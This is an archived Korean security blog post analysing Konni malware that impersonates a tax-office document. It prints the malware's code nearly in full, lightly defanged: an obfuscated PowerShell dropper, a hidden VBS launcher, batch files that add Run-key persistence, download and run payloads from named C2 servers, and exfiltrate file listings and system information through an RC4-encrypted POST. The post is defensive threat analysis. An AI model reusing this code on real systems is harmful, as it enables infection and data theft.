{
	"id": "739ef6af-0bbe-4cfd-b5ba-9aea3f20cf68",
	"created_at": "2026-04-06T00:20:02.252424Z",
	"updated_at": "2026-04-10T03:37:40.687358Z",
	"deleted_at": null,
	"sha1_hash": "0cc9bfedc40af5a895c29f2147ec07d0e24b6e2d",
	"title": "Konni(코니) 에서 만든 국세청 사칭 악성코드-첨부1.취득자금 소명대상 금액의 출처 확인서(국제조세조정에 관한 법률 시행규칙).hwp(2023.12.13)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2823055,
	"plain_text": "Konni(코니) 에서 만든 국세청 사칭 악성코드-첨부1.취득자금 소명\r\n대상 금액의 출처 확인서(국제조세조정에 관한 법률 시행규\r\n칙).hwp(2023.12.13)\r\nBy Sakai\r\nPublished: 2023-12-27 · Archived: 2026-04-05 19:07:55 UTC\r\n오늘은 북한 해킹 단체 Konni(코니) 에서 첨부1.취득자금 소명대상 금액의 출처 확인서(국제조세조정\r\n에 관한 법률 시행규칙) 사칭한 악성코드에 대해 글을 적어 보겠습니다.\r\n2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하\r\n는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입\r\n니다. 일단 기본적으로 미끼(Decoy) 문서를 사용자에게 표시한 다음 피해자 컴퓨터에서 악성 파일을 실행\r\n합니다.\r\n보통은 한글과 컴퓨터에서 만들어서 배포하는 포멧인 hwp에서는 악성코드가 없겠지 생각을 하지만 해\r\n당 포멧을 자주 이용하고 있으며 먼저 압축 파일 해쉬값은 다음과 같습니다.\r\n파일명:첨부1.취득자금 소명대상 금액의 출처 확인서(국제조세조정에 관한 법률 시행규칙).zip\r\n사이즈:160 KB\r\nMD5:7a86930567749d349e87b7523da26a39\r\nSHA-1:fab8d2d22d264c9b0e0d62ea311b87575038859f\r\nSHA-256:0ae016988c0d234f0c5ee4a003653c115e4cb748fcb60e61938da1a85c3b5760\r\n이며 해당 압축 파일로 압축된 파일을 풀고 나면 다음과 같은 lnk 파일을 확인할 수가 있습니다.\r\n파일명: 첨부1. 취득자금 소명대상 금액의 출처 확인서(국제조세조정에 관한 법률 시행규칙).hwp.lnk\r\n사이즈:66.8 MB\r\nMD5:ceb4847592b0b9ddc2b9c239fa48c471\r\nSHA-1:c459315c5a7c4e014867d8e27b1209c6de7f2fa2\r\nSHA-256:fbdc74e4a2733561fa077873a008e9aba4cf1415af1c6aaea2d8cb3ab435ddad\r\nhttps://wezard4u.tistory.com/6693\r\nPage 1 of 15\n\n악성코드에 포함된 파워셀 코드\r\n일단 악성코드에 포함된  Power Shell 스크립트는 다음과 같습니다.\r\n/c p^owe^(r)she^l^l -wi(n)dowstyle hidden function\r\nBYPVVObtSB(g){param($vOiCAahtou(,)$YTMhzLrhzIP(V),$ODtnd(l)eakm,\r\n$MqCNDx(m)eLr,$fNjGFHMrbWA);^\u003c#(l)etch overneg(l)igently tran(s)actinide#^\u003e\r\n$jpgrvG(K)usY=New(-)Object ^\u003c#torn(e)se ungospelized nondesignate#^\u003e\r\nSystem(.)IO.FileStream($vOiCAa(h)tou,^\u003c#uncross trac(e)less bonita#^\u003e\r\n[System.IO(.)FileMode]::Open,^(\u003c)#sp(a)smotin aborigine panzootic#^\u003e\r\n[System(.)IO.File(A)ccess]::Read);^\u003c#wari(a)ngle aristol(o)chiaceous fictioneering(#)^\u003e\r\n$jpgrvGKu(s)Y.Seek($YTMhzL(r)hzIPV,^\u003c#quips(o)meness stercoral unde(c)eptitious#^\u003e\r\n[System.IO(.)SeekOrigin]::Begin);^\u003c#marc(h)antia oversoar dupl(i)cature#^\u003e\r\n$VJOInKKX(M)RvQ=New-Object ^\u003c#limnobi(u)m benzoic reefed#^\u003eby(t)e[] $OD(t)ndleakm;\r\n^\u003c#refr(i)es syn(d)eses vermifu(g)ous#^\u003e $jpgrvGKusY(.)Re(a)d($VJOInKKXMRvQ,\r\n^\u003c#none(x)emption preinitiated untruced#^\u003e0,$ODtnd(l)eakm);^\u003c#hematocy(t)ozoon\r\ncomm(e0nsalistic congregationalism#^\u003e $jpg(r)vGKusY.Close();f(o)r($jqqJILuBGK=0;$jqqJILuBGK\r\n-lt $ODtndleakm;$jqqJILuBGK++){$VJOInKKXMRvQ[$jqqJILuBGK]=$VJOInKKXMRvQ[$jqqJILuBGK]\r\n-bxor $MqCNDxmeLr;}sc ^\u003c#cav(a)llas vapidness trabec(u)le#^\u003e $fNjGFHMrbWA\r\n^\u003c#semirigorously harm(o)niphone oxalated#^\u003e $VJOInKKXMRvQ -Encoding\r\n^\u003c#irrefrangible rivalr(i)es dumontite#^\u003e Byte;};function\r\nhwqBULFNvJ{param($sBDFnkRe(z)JN);^\u003c#rezbanyite orth gavelling#^\u003e\r\n$KzOQvdcXYdjO=Get-ChildIt(e)m ^\u003c#enheritage dialogite gorgonizing#^\u003e-Path\r\n^\u003c#haemorrhagic aftershaft(e)d transplan(t)ar#^\u003e $sBDFnkRezJN -Recurse\r\n^\u003c#preestimating arrivistes perfectionator#^\u003e*(.)lnk\\\r\n^\u003c#unspillable thiobacteriales inverts#^\u003e^|\r\n^\u003c#colliculate unwitch unmeeknes(s)#^\u003ewhere-object\r\n^\u003c#apophyeeal oculauditory d(a)ckered#^\u003e{$_.length ^\u003c#c(a)nnonry resoluble diplocoria#^\u003e\r\n-eq 0x042D9905} ^\u003c#re(e)ndow unvoyaging engrossed#^\u003e^| Select-Object\r\n^\u003c#certifiers gelec(h)iid azeotrope#^\u003e-ExpandProperty\r\n^\u003c#tabors lonhyn halavahs#^\u003eFullName; ret(u)rn ^\u003c#busybodyism cabrito sweepier#^\u003e\r\n$KzOQvdcXYdjO;^\u003c#pueb(l)os pimas lutheran#^\u003e};$bKACpSJxmu(L)d=Get(-)Location;$ofHLTkfBuY=\r\nhttps://wezard4u.tistory.com/6693\r\nPage 2 of 15\n\nhwqBULFNvJ ^\u003c#muniments cryoconite cruets#^\u003e-sBDFnkRezJN\r\n^\u003c(#)excl(u)dability hemen assassinative#^\u003e $bKACpSJxmuLd;if($ofHLTkfBuY.len(g)th\r\n^\u003c#bebite cess(p)its bac(k)stops#^\u003e -eq 0){$ofHLTkfBuY=hwqBULFNvJ\r\n^\u003c#proceritic earned nondisturbing#^\u003e -sBDFnkRezJN $env:Temp;}\r\n$bKACpSJxmuLd=Spl(i)t-Path ^\u003c#disent(r)ancement bomble dobule#^\u003e\r\n$ofHLTkfBuY;$lBLKeytyGN = $ofHLTkfB(u)Y.substrin(g)(0,$o(f)HLTkfBuY.length-4)\r\n^\u003c#jumma nonsensualistic grade#^\u003e+ '';BYPVVObtSBg -vOiCAaht(o)u\r\n^\u003c#homaxonic standbys gunbuilder#^\u003e $ofHLTkfBuY -YTMhzLrhzIPV\r\n^\u003c#counterbend elvan chihuahua#^\u003e 0x00(0)022B4 -ODtndleakm 0x00(0)04800\r\n-MqCNDxmeLr ^\u003c#cheselip centunculus hyperadipose#^\u003e 0(x)10 -fNjGF(H)MrbWA\r\n^\u003c#pseudangina reemerge minchah#^\u003e $lBLKeytyGN;^\u0026^\u003c#physis manipula(t0ed cauli#^\u003e\r\n$lBLKeytyGN;$jsdoulrAkk=$env:public ^\u003c#acu(t)er or(p)hrey remastication#^\u003e+\r\n'\\' ^\u003c#pest hazers jaspidean#^\u003e(+)^\u003c#anthryl koch sea(m)y#^\u003e 'vOiCAa.cab';BYPVVObtSBg\r\n-v(O)iCAahtou ^\u003c#seria(t)ing unrestrictedly huntsmen#^\u003e $ofHLTkfBuY\r\n-YTMhzLrhzIPV ^\u003c#hyperendocrinia incon(s)equence flandowser#^\u003e 0x00006AB4\r\n-ODtndleakm ^\u003c#anilopyrin chondrodite dack(e)rs#^\u003e 0x(0)0013AA1 -MqCNDxmeLr\r\n^\u003c#semirebelliousness concretions uncolonizing#^\u003e 0(x)20 -fNjGFHMrbWA\r\n^\u003c#wampuses perr(u)che esotericist#^\u003e $jsdoulrAkk;Remove-Item -Path\r\n^\u003c#unveritable scuttlebutt print(m)aker#^\u003e $ofHL(T)kfBuY -For(c)e;expand $jsdoulrAkk\r\n^\u003c#uncompliantly polem(i)cs trac(h)eobronchitis#^\u003e -F:* ^\u003c#autogenously dhyana yus#^\u003e\r\n($en(v):pu(b)lic ^\u003c#perorative influenced shader#^\u003e+^\u003c#cisjurane li(m)ericks unbeholden#^\u003e\r\n'\\' ^\u003c#subp(e)naing varitype sciuroid#^\u003e+^\u003c#broomrape uncolo(r)edly glandlike#^\u003e\\\r\n'doc(u)ments');remove-item\r\n^\u003c#rimous zaptiahs cougher#^\u003e -path ^\u003c#strumect(o)my hoecake etherish#^\u003e $jsdoulrAkk\r\n^\u003c#dwi(n)dlement periclasite pelargonidin#^\u003e-force;($)NjVWyNaCkCJM=\r\n$env:public^\u003c#larcher rascalship slough#^\u003e+'\\documents\\start(.)vbs';^\u0026\r\n^\u003c#para(d)isea parser diapaused#^\u003e $NjVWyNaCk(C)JM;\r\niconlocation: (.)hwp\r\n}\r\n코드 설명\r\nPowerShell 스크립트는 여러 기능을 수행하는 것으로 보이지만 주석과 일부 난독화로 인해 정확한 용도\r\n를 파악하기 어렵습니다.\r\n1.BYPVVObtSBg 함수:\r\n해당 함수는 파일을 열어서 $YTMhzL(r)hzIPV 에서 시작하여 $ODtndleakm 만큼의 데이터를 읽습니다.\r\n읽은 데이터에 XOR 연산을 수행하고 XOR에 사용할 값은 $MqCNDxmeLr\r\nXOR 연산이 완료된 데이터를 파일에 저장\r\n해당 함수는 주어진 파일을 암호화하거나 변조하는 데 사용될 수 있음\r\n2.hwqBULFNvJ 함수:\r\n해당 함수는 특정 디렉터리에서. lnk 확장자를 가진 빈 파일을 찾아 리스트로 반환.\r\n반환된 리스트는 이후 처리에 사용\r\n함수는 특정 디렉터리에서 빈 파일을 찾는 데 사용될 수 있음\r\nhttps://wezard4u.tistory.com/6693\r\nPage 3 of 15\n\nThis photo has no EXIF data.\r\n자금출처명세서\r\n3. 스크립트 실행 부분:\r\n스크립트는 현재 작업 디렉터리를 $bKACpSJ(x)muLd 에 저장\r\nhwqBULFNvJ 함수를 호출하여 특정 디렉터리 또는 Temp 디렉터리에서. lnk 파일 리스트를 얻습니다.\r\nXOR 연산에 사용할 값 등을 설정하고 BYPVVObt(S)Bg 함수를 호출하여 파일을 처리\r\nstart(.)vbs 파일을 실행\r\nhttps://wezard4u.tistory.com/6693\r\nPage 4 of 15\n\n악성코드 실행 시 생성 되는 VBS 파일등\r\n4. 주석:\r\n코드에는 난독화된 주석이 포함되어 있으며 주석 내용은 의미 없는 단어들이 섞여 있어서 코드를 이해하\r\n기 어렵게 만듭니다.\r\n5. 파일 조작 및 실행:\r\n코드는 암호화된 파일을 생성하거나 조작 생성된 파일들은 임시 디렉터리나 사용자의 문서 폴더 등에 저\r\n장\r\nstart(.)vbs 파일을 실행하는 부분은 추가적인 실행 단계로 이 파일이 무엇을 하는지는 직접적으로 코드에\r\n서 확인되지 않음\r\nstart.vbs 내용\r\n먼저 start(.)vbs 파일을 실행합니다. 해당 코드는 다음과 같습니다.\r\nSet wmStart = GetObject(\"winm(g)mts:win32_ProcessStartup\")\r\nSet objConfig = wmStart.SpawnI(n)stance_\r\nhttps://wezard4u.tistory.com/6693\r\nPage 5 of 15\n\nobjConfig(.)ShowWindow = 0\r\nAKRzCRohOfDcKWGe = Left(WScript(.)ScriptFullName, InstrRev(WScript(.)ScriptFullName, \"\\\") - 1)\r\nSet wmObj = GetObject(\"winmgmts(:)win32_process\")\r\nres = wmObj.Create(AKRzCRohOfDcKW(G)e \u0026 \"\\25711309(.)b\" \u0026 \"at\", Null, objConfig, pid)\r\nSet wmObj = Nothi(n)g\r\nSet objConfig = Noth(i)ng\r\nSet wmStart = N(o)thing\r\n코드 설명\r\n해당 VBScript 코드는 윈도우 관리 인터페이스 (WMI)를 사용하여 새로운 프로세스를 실행하는 스크립트\r\n코드의 목적은 새로운 프로세스를 백그라운드에서 실행하고 해당 프로세스를 숨기는 것 다음은 코드\r\n의 각 부분에 대한 간단한 설명입니다.\r\n1. WMI를 사용하여 프로세스 출발 업 설정 구성:\r\nSet wmStart = GetObject(\"winmgmts:win32_ProcessStartup\")\r\nSet objConfig = wmStart.SpawnInstance_\r\nobjConfig.ShowWindow = 0\r\n`winmgmts:win32_ProcessStartup WMI 클래스를 사용하여 프로세스 스타트업 설정을 구성.\r\nSpawnInstance_ 메서드를 사용하여 새로운 인스턴스를 만듬\r\nShowWindow 속성을 0으로 설정하여 새로운 프로세스를 숨김\r\n2. 현재 스크립트의 경로에서 실행 파일 이름 추출:\r\nHTTP Debugger Pro 본 접속 내용\r\nAKRzCRoh(O)fDcKWGe = Left(WScript(.)ScriptFullName, InstrRev(WScript(.)ScriptFullName, \"\\\") - 1)\r\nWScript.ScriptFullName을 사용하여 현재 스크립트 파일의 전체 경로를 얻음\r\nInstrRev 함수를 사용하여 마지막 경로 구분자(\"\\\")의 위치를 찾음\r\n현재 스크립트 파일의 경로에서 경로 구분자 이전까지의 문자열을 추출\r\nhttps://wezard4u.tistory.com/6693\r\nPage 6 of 15\n\n3. WMI를 사용하여 새로운 프로세스 생성:\r\nSet wm(O)bj = GetObject(\"winmgmts:win32_process\")\r\nres = wmObj.Create(AKRzCRo(h)OfDcKWGe \u0026 \"\\25711309(.)b\" (\u0026) \"at\", Null, objConfig, pid)\r\nSet wmObj = Nothing\r\nSet objConfig = Nothing\r\nSet wmStart = Nothing\r\nwinmgmts:win32_process WMI 클래스를 사용하여 새로운 프로세스를 생성\r\nCreate 메서드를 호출하여 새로운 프로세스를 시작\r\n실행할 파일의 경로는 이전에 추출한 현재 스크립트 파일의 경로에서 25711309(.)bat 로 설정\r\nNull은 커맨드 라인 매개변수가 없음을 나타냄\r\n앞서 설정한 프로세스 스타트업 설정이 objConfig에 적용\r\n생성된 프로세스의 ID는 pid 변수에 저장\r\n해당 코드는 주로 배치 파일 (25711309(.)bat)을 백그라운드에서 실행하여 윈도우 사용자에게는 보이지 않\r\n도록 하는 것\r\nShowWindow 속성을 0으로 설정하여 새로운 프로세스를 숨김\r\n만약 25711309(.)bat 파일이 존재하고 실행 가능한 파일이라면 해당 파일이 백그라운드에서 실행\r\n악성코드 실행시 생성되는 파일\r\n다음 25711309(.)bat 코드 내용\r\n@echo off\r\npushd \"%~dp0\"\r\nif exist \"15549973(.)bat\" (\r\nhttps://wezard4u.tistory.com/6693\r\nPage 7 of 15\n\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\r\n /v svchostno2 /t REG_SZ /d \"%~dp0start.vbs\" /f \u003e nul\r\ncall 15549973(.)bat \u003e nul\r\ncall 32940024(.)bat \u003e nul\r\ndel /f /q 15549973(.)bat \u003e nul\r\n)\r\nif not exist \"15549973(.)bat\" (\r\nif not exist \"upok(.)txt\" (\r\ncall 32940024(.)bat \u003e nul\r\n)\r\n)\r\nif not exist \"fin(.)txt\" (goto 1)\r\nif exist \"fin(.)txt\" (goto EXIT)\r\n:1\r\nif exist \"temprun(.)bat\" (\r\ndel /f /q temprun(.)bat\r\n)\r\nset url=hxxp://ddsdata(.)net/list(.)php?f=%COMPUTERNAME%.txt\r\ncall 99658464(.)bat \"%url%\" \"%~dp0wUQAt(.)cab\" \"1\"\u003e nul\r\nexpand wUQAt(.)cab -F:* %~dp0 \u003e nul\r\ndel /f /q wUQAt(.)cab \u003e nul\r\ncall temprun(.)bat \u003e nul\r\ntimeout -t 57 /nobreak\r\nif not exist \"fin(.)txt\" (goto 1)\r\nif exist \"fin(.)txt\" (goto EXIT)\r\n \r\n:EXIT\r\ndel /f /q \"fin(.)txt\"\r\n코드 설명\r\n1. 현재 디렉터리 설정 및 파일 확인:\r\n@echo off\r\npushd \"%~dp0\"\r\n현재 스크립트 파일이 위치한 디렉터리로 이동\r\nhttps://wezard4u.tistory.com/6693\r\nPage 8 of 15\n\n2.15549973(.)bat\" 파일이 존재하는 경우:\r\n if exist \"15549973(.)bat\" (\r\n reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\r\n /v svchostno2 /t REG_SZ /d \"%~dp0start(.)vbs\" /f \u003e nul\r\n call 15549973(.)bat \u003e nul\r\n call 32940024(.)bat \u003e nul\r\n del /f /q 15549973(.)bat \u003e nul\r\n )\r\n15549973.bat 파일이 존재하면, 해당 배치 파일을 실행하고,\r\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\n레지스트리에 svchostno2 값으로 현재 디렉터리의 start(.)vbs 파일을 등록\r\n그리고 15549973(.)bat 파일과 32940024(.)bat 파일을 호출하고 삭제\r\n3.15549973.bat 파일이 없고 upok(.)txt 파일이 없는 경우:\r\n if not exist \"15549973(.)bat\" (\r\n if not exist \"upok(.)txt\" (\r\n call 32940024(.)bat \u003e nul\r\n )\r\n )\r\n15549973(.)bat 파일이 없고 upok(.)txt 파일이 없으면 32940024(.)bat 파일을 호출\r\n4.fin.txt 파일 확인:\r\n if not exist \"fin.txt\" (goto 1)\r\n if exist \"fin.txt\" (goto EXIT)\r\n fin.txt 파일이 존재하는지 확인하고 존재하면 EXIT 레이블로 이동\r\n5.레이블 \"1\":\r\n :1\r\n if exist \"temprun(.)bat\" (\r\n del /f /q temprun(.)bat\r\n )\r\n set url=hxxp://ddsdata(.)net/list(.)php?f=%COMPUTERNAME%(.)txt\r\n call 99658464(.)bat \"%url%\" \"%~dp0wUQAt(.)cab\" \"1\"\u003e nul\r\n expand wUQAt(.)cab -F:* %~dp0 \u003e nul\r\n del /f /q wUQAt(.)cab \u003e nul\r\n call temprun(.)bat \u003e nul\r\n timeout -t 57 /nobreak\r\n if not exist \"fin(.)txt\" (goto 1)\r\n if exist \"fin(.)txt\" (goto EXIT)\r\ntemprun(.)bat 파일이 존재하면 삭제하고 다음은 원격 서버로부터 데이터를\r\n다운로드하고 압축을 푸는 과정\r\n그 후 temprun(.)bat 파일을 실행하고 일정 시간 동안 기다리고 fin(.)txt\r\n파일이 존재하는지 확인하고, 존재하면 EXIT 레이블로 이동\r\n6. 레이블 EXIT:\r\n :EXIT\r\n del /f /q \"fin(.)txt\"\r\nfin(.)txt 파일을 삭제\r\nhttps://wezard4u.tistory.com/6693\r\nPage 9 of 15\n\n해당 스크립트는 주로 다른 배치 파일을 실행하고 레지스트리를 조작하며\r\n원격 서버로부터 데이터를 다운로드하고 실행하는 등의 작업을 수행\r\n15549973.bat 코드 내용\r\n@echo off\r\npushd %~dp0\r\nset fn=di3726\r\ncall 99658464(.)bat \"hxxps://aufildeseaux(.)com/wp-admin/includes/main/read/\r\nget(.)php?pw=xlse\u0026cm=ns0010\" \"%~dp0%fn%(.)zip\" \"1\" \u003e nul\r\nif not exist %~dp0%fn%(.)zip (\r\ngoto END1\r\n)\r\nset dt=1(.)bat\r\nif not \"%dt%\"==\"\" (\r\ncall unzip(.)exe -o -P \"a0\" \"%~dp0%fn%(.)zip\" \u003e nul\r\ndel /f /q %~dp0%fn%(.)zip \u003e nul\r\nif exist %~dp0%dt% (\r\ncall %~dp0%dt% \u003e nul\r\n)\r\n)\r\n:END1\r\nif exist %~dp0%fn%(.)zip (\r\ndel /f /q %~dp0%fn%(.)zip \u003e nul\r\n)\r\n코드 설명\r\n해당 배치 스크립트는 원격 서버에서 압축 파일을 다운로드 하고\r\n해당 압축 파일을 푼 후 지정된 배치 파일을 실행하는 작업을 수행\r\n1. 현재 디렉토리 설정 및 파일 다운로드:\r\n@echo off\r\n pushd %~dp0\r\n set fn=di3726\r\n call 99658464.bat hxxps://aufildeseaux(.)com/wp-admin/includes\r\n /main/read/get(.)php?pw=xlse\u0026cm=ns0010\" \"%~dp0%fn%(.)zip\" \"1\" \u003e nul\r\n현재 스크립트 파일이 위치한 디렉토리로 이동\r\n99658464(.)bat 파일을 호출하여 원격 서버에서 압축 파일을 다운로드\r\n2.압축 파일이 존재하는 경우:\r\n if not exist %~dp0%fn%.zip (\r\n goto END1\r\n )\r\n압축 파일이 존재하지 않으면 END1 레이블로 이동\r\n3.압축 파일 해제 및 배치 파일 실행:\r\n set dt=1.bat\r\nhttps://wezard4u.tistory.com/6693\r\nPage 10 of 15\n\nif not \"%dt%\"==\"\" (\r\n call unzip.exe -o -P \"a0\" \"%~dp0%fn%(.)zip\" \u003e nul\r\n del /f /q %~dp0(%)fn%(.)zip \u003e nul\r\n if exist %~dp0%(d)t% (\r\n call %~dp0%(d)t% \u003e nul\r\n )\r\n )\r\n`%dt%` 변수에 1(.)bat를 설정\r\nunzip.exe를 사용하여 압축 파일을 푸고, 암호는 a0\r\n압축 파일을 삭제하고, %dt% 파일이 존재하는 경우 해당 배치 파일을 실행.\r\n4. 레이블 END1:\r\n :END1\r\n if exist %~dp0%fn%(.)zip (\r\n del /f /q %~dp0%fn%(.)zip \u003e nul\r\n )\r\nEND1 레이블에서 압축 파일이 존재하는 경우 해당 파일을 삭제\r\n해당 스크립트는 원격 서버로부터 압축 파일을 다운로드 하고 압축을 해제하여\r\n배치 파일을 실행하는 기능을 가지고 있습니다. 암호화된 압축 파일과 압축 해제를 위해\r\nunzip(.)exe 유틸리티를 사용\r\n32940024.bat 내용\r\n@echo off\r\npushd \"%~dp0\"\r\ndir C:\\Users\\%username%\\downloads\\ /s \u003e %~dp0down(.)txt\r\ndir C:\\Users\\%username%\\documents\\ /s \u003e %~dp0docu(.)txt\r\ndir C:\\Users\\%username%\\desktop\\ /s \u003e %~dp0desk(.)txt\r\nsysteminfo \u003e %~dp0sys(.)txt\r\ntimeout -t 5 /nobreak\r\nset url=hxxp://ddsdata(.)net/upload(.)php\r\ncall 37101486(.)bat \"%url%\" \"down.txt\" \"%COMPUTERNAME%_down.txt\" \u003enul\r\ncall 37101486(.)bat \"%url%\" \"docu.txt\" \"%COMPUTERNAME%_docu.txt\" \u003enul\r\ncall 37101486(.)bat \"%url%\" \"desk.txt\" \"%COMPUTERNAME%_desk.txt\" \u003enul\r\ncall 37101486(.)bat \"%url%\" \"sys.txt\" \"%COMPUTERNAME%_sys.txt\" \u003enul\r\ncall 37101486(.)bat \"%url%\" \"tsk.txt\" \"%COMPUTERNAME%_tsk.txt\" \u003enul\r\n코드 설명\r\nhttps://wezard4u.tistory.com/6693\r\nPage 11 of 15\n\n해당 배치 스크립트는 주로 시스템 정보와 사용자의 다운로드,\r\n문서, 데스크톱 디렉터리에 있는 파일 목록을 수집하여\r\n해당 정보를 원격 서버로 업로드하는 역할 각 부분에 대한 간략한 설명은 다음과 같습니다.\r\n1. 현재 디렉터리 설정:\r\n @echo off\r\n pushd \"%~dp0\"\r\n현재 스크립트 파일이 위치한 디렉토리로 이동\r\n2.사용자의 다운로드, 문서, 데스크톱 디렉토리 파일 목록 수집:\r\n dir C:\\Users\\%username%\\downloads\\ /s \u003e %~dp0down.txt\r\n dir C:\\Users\\%username%\\documents\\ /s \u003e %~dp0docu.txt\r\n dir C:\\Users\\%username%\\desktop\\ /s \u003e %~dp0desk.txt\r\ndir 명령어를 사용하여 다운로드, 문서, 데스크톱 디렉토리에서\r\n모든 파일의 목록을 각각의 텍스트 파일에 저장\r\n3.시스템 정보 수집:\r\nsysteminfo \u003e %~dp0sys.txt\r\nsysteminfo 명령어를 사용하여 시스템 정보를 sys.txt 파일에 저장\r\n4. 시간 지연:\r\ntimeout -t 5 /nobreak\r\n5초 동안 대기\r\n5.파일 업로드:\r\nset url=hxxp://ddsdata(.)net/upload(.)php\r\ncall 37101486.bat \"%url%\" \"down.txt\" \"%COMPUTERNAME%_down.txt\" \u003enul\r\ncall 37101486.bat \"%url%\" \"docu.txt\" \"%COMPUTERNAME%_docu.txt\" \u003enul\r\ncall 37101486.bat \"%url%\" \"desk.txt\" \"%COMPUTERNAME%_desk.txt\" \u003enul\r\ncall 37101486.bat \"%url%\" \"sys.txt\" \"%COMPUTERNAME%_sys.txt\" \u003enul\r\ncall 37101486.bat \"%url%\" \"tsk.txt\" \"%COMPUTERNAME%_tsk.txt\" \u003enul\r\n37101486.bat 파일을 호출하여 각각의 텍스트 파일을 원격 서버에 업로드\r\n해당 스크립트는 사용자의 다운로드, 문서, 데스크톱 디렉토리 파일 목록과 시스템 정보를 수집하여\r\n원격 서버로 업로드하는 용도\r\n37101486.bat 내용\r\n@echo off\r\npushd %~dp0\r\nset \"tgurl12=%~1\"\r\nset fN12=fn\r\nset fD12=fd\r\npower(s)hell -command \"funct(i)on ES113{param ([Parameter(Mandato(r)y=$true)]\r\n[string]$src1205,[Parameter(Mandato(r)y=$true)] [string]$Key);$src(b)ytes =\r\n[System.Text(.)Encoding]::UTF8.GetBytes($src1205);\r\n$kbytes12 = [System.Text(.)Encoding]::UTF8.GetBytes($Key);$s =\r\nNe(w)-Object byte[](256);$k = New-Object byte[](256);\r\nfor ($i = 0; $i (-)lt 256; $i++) {$s[$(i)] = $i;$k[$i] =\r\n$kbytes12[$i %% $kbytes(1)2.Length];}$j = 0;for ($i = 0; $i -lt 25(6); $i++)\r\n{$j = ($j + $s[$i] + $k[$i]) %% 2(5)6;$temp = $s[$i];$s([)$i] = $s[$j];$s[$j] =\r\n$temp;}$encbytes12 = New(-)Object byte[] $srcbytes.Length;$i = 0;$j = 0;\r\nhttps://wezard4u.tistory.com/6693\r\nPage 12 of 15\n\nfor ($n = 0; $n -lt $srcbytes.Leng(t)h; $n++) {$i = ($i + 1) %% 256;$j =\\\r\n($j + $s[$i]) %% 256;$temp = $s[$i];$s[$i] = $s([)$j];$s[$j] = $temp;$t\r\n= ($s[$i] + $s[$j]) %% 256;$encbytes12[$n] = $srcbytes[$n] -b(x)or $s[$t];}$encstr12\r\n= [System.Convert]::ToBase64String($encb(y)tes12);return $encstr12;}$key=(Get-Date)\r\n.Ticks.ToStr(i)ng();$tgurl12='%tgur(l)12%';$(f)n='%~3';$fp='%~dp0%~2';$dt=gc\r\n-Path $fp -Raw | Out-St(r)ing;Add-Type -Assembl(y)Name 'System.Web';$fn=ES113\r\n-src1205 $fn -Key $ke(y);$dt=ES113 -src1205 $dt -Key $key;$qry12 =\r\n[System.Web.HttpUtility]::ParseQue(r)yString('');$qry12['%fN12%']=\r\n$fn;$qry12['%fD12%']=$dt;$qry12['r']=$key;$b=$qry12.(T)oString();$b12\r\n=[System.Text.Encoding]::UTF8.GetBytes($b);$wr12=[System.Net.WebReq(u)est]\r\n::Create($tgurl12);$wr12.Method='POST';$wr12.ContentType='applic'+\r\n'ation/x'(+)'-ww'(+)'w-for'+'m-ur'(+)'lenco'+'ded';$wr12.ContentLength\r\n=$b12.Len(g)th;$rss12 = $wr12.GetRequestStream();$r(s)s12.Write($b12,0,$b12.Length);\r\n$rss12.Close();$rsd12=$wr12.GetResponse();if($rsd12.St(a)tusCode -eq\r\n[System.Net.HttpStatusCode]::OK){Rem(o)ve-Item -Path $fp;$fpok='%~dp0up'+'ok.t'+'xt';New-Ite(m)\r\n-ItemType File -Path $fpok;}\" \u003e nul\r\n코드 설명\r\n해당 배치 스크립트는 PowerShell을 사용하여 원격 서버로 데이터를 전송하는 스크립트 해당 스크립트\r\n의 주요 기능을 간략하게 설명\r\n1.PowerShell 함수 정의 (`ES113`):\r\nfunction ES113 {\r\n       param (\r\n           [Parameter(M(a)ndatory=$true)]\r\n           [string]$(s)rc1205,\r\n           [Parameter(Man(d)atory=$true)]\r\n           [string]($)Key\r\n       )\r\n       $srcbytes = [System(.)Text.Encoding]::UTF8.GetBytes($src1205)\r\n       $kbytes12 = [System(.)Text.Encoding]::UTF8.GetBytes($Key)\r\n       $s = New-Object by(t)e[](256)\r\n       $k = New-Object by(t)e[](256)\r\n       # ... (키 스트림 초기화 및 암호화 로직)\r\n       $enc(b)ytes12 = New-O(b)ject byte[] $srcbytes.Length\r\n       # ... (암호화 로직)\r\n       $encstr12 = [System.Conv(e)rt]::ToBas(e)64String($encbytes12)\r\n       return $enc()str12\r\n   }\r\n2.PowerShell 스크립트 실행:\r\n   powershell -command \"\r\n       # ... (PowerShell 스크립트 내용)\r\nhttps://wezard4u.tistory.com/6693\r\nPage 13 of 15\n\n\" \u003e nul\r\nPowerShell 스크립트를 실행\r\n`$tgurl12`, `$fn`, `$fp`, `$dt` 등은 배치 스크립트에서 전달된 환경 변수\r\n3.PowerShell 스크립트 내용:\r\nES113 함수를 정의하고 해당 함수를 사용하여 데이터를 암호화\r\n서버로 전송할 데이터를 URL 인코딩\r\nWebRequest 객체를 생성하고 POST 요청을 설정하여 데이터를 전송\r\n서버 응답이 OK였으면 원본 데이터를 삭제하고 대신에 upok(.)txt 파일을 생성\r\n해당 스크립트는 데이터를 암호화하여 원격 서버로 전송하는 용도 서버 측에서는 해당 데이터를 복호화\r\n하여 사용할 것으로 예상 암호화 키는 현재 날짜와 시간의 틱 값을 기반으로 생성되며 각각의 데이터\r\n가 ES113 함수를 통해 암호화\r\n39470406.bat  내용\r\n@echo off\r\npushd %~dp0\r\npowershell -command \"$sh1=new-o(b)ject -com shell.application;$\r\nz=$sh1.Namespace('%~dp(0)%~1');$\r\nz.i(t)ems().item(0).n(a)me;\" \u003e %~dp(0)%~2\r\n코드 설명\r\n해당 배치 스크립트는 PowerShell을 사용하여 Windows 셸 객체를 만들고 해당 셸 객체를 통해 지정된 디렉\r\n토리에서 첫 번째 아이템의 이름을 추출하여 파일에 저장하는 역할\r\n1.PowerShell 스크립트 실행:\r\npowershell -com(m)and \"$sh1=new-obj(e)ct -\r\ncom shell.application;$z=$sh1(.)Namespace('%~d(p)0%~1');$z.item(s)().item(0).name;\" \u003e %~dp0%~2\r\nPowerShell을 호출하여 